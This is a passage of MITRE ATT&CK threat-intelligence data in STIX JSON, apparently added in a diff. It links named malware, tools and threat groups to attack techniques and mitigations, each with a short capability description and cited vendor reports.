"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) encodes files in Base64.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--297b069f-7d1b-4335-9363-c73bd823c322", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) uses SSL to encrypt its communication with its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--345c6135-7557-4292-8214-66618ba17edd", + "external_references": [ + { + "source_name": "Aquino RARSTONE", + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can capture screenshots.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use multiple network protocols to avoid network-based detection.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-04-19T15:08:15.845Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[xCmd](https://attack.mitre.org/software/S0123) can be used to execute binaries on remote systems by creating and starting a service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63", + "external_references": [ + { + "source_name": "xCmd", + "description": "Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.", + "url": "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Winnti](https://attack.mitre.org/software/S0141) installer loads a DLL using rundll32.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346", + "external_references": [ + { + "source_name": "Microsoft Winnti Jan 2017", + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1d7019e-ccb0-42cb-ba7c-351dd5cb152f", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.300Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "There is a variant of [RATANKBA](https://attack.mitre.org/software/S0241) that uses a PowerShell script instead of the traditional PE form.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed91791b-8e5a-4e0c-b77c-6fad78be7378", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.194Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can collect data from a local system.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4865a5c-c17c-408a-94de-2feac0d006fd", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.417Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:05:13.434Z", + "type": "relationship", + "id": "relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44671cd3-9bdd-4e9f-a7d1-a322d0abf659", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.049Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim username and whether it was running as admin, then sent the information to its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bb44b86-379d-49ba-9b28-2451e69db30d", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.948Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-10T12:14:32.235Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several tools used by [Suckfly](https://attack.mitre.org/groups/G0039) have been command-line driven.", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13a8be40-1190-4553-b026-58c5088c322a", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2019-03-25T16:59:47.258Z", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-30T23:13:18.570Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a batch script that adds a Registry Run key to establish malware persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d20b659b-3595-4171-9beb-668ab26bf398", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.318Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b06929c-1b23-4efc-9fc1-64552d5fbdb2", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.156Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) manipulated .lnk files to gather user credentials in conjunction with [Forced Authentication](https://attack.mitre.org/techniques/T1187).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6db4aabc-a2ed-4db2-8ecb-c9ca11dc8f46", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.568Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover services running on a system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40c5a024-37db-478b-b90f-27f184bf8f60", + "external_references": [ + { + "source_name": "Microsoft Tasklist", + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) uses command line for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate and search for files and directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has a command named $screenshot that may be responsible for taking screenshots of the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e769177d-17b8-443b-b939-206d724fbb40", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.375Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:40:51.520Z", + "type": "relationship", + "id": "relationship--d08c3470-db13-4e60-a7e0-807e72318d0d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:35:09.649Z", + "type": "relationship", + "id": "relationship--4b5bd2c6-b460-401d-8457-005add9037d9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:56:46.828Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9839e4e4-06c2-4f6a-8fe0-bc556e547536", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. 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Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "modified": "2019-07-17T16:17:30.314Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d3fea03-c3a4-414c-8827-8f0416b1f88d", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. 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Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.559Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.203Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. 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Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) collects user files from the compromised host based on predefined file extensions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d77a4123-3d46-4317-8921-f6eb8c34c585", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-24T16:39:53.976Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can grab a system\u2019s information including the OS version, architecture, etc.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e2a1dfa-1ccd-4700-a4a5-3b98590ae710", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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(2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.311Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.344Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa0622d6-2b58-476f-9c57-e629785b0415", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": 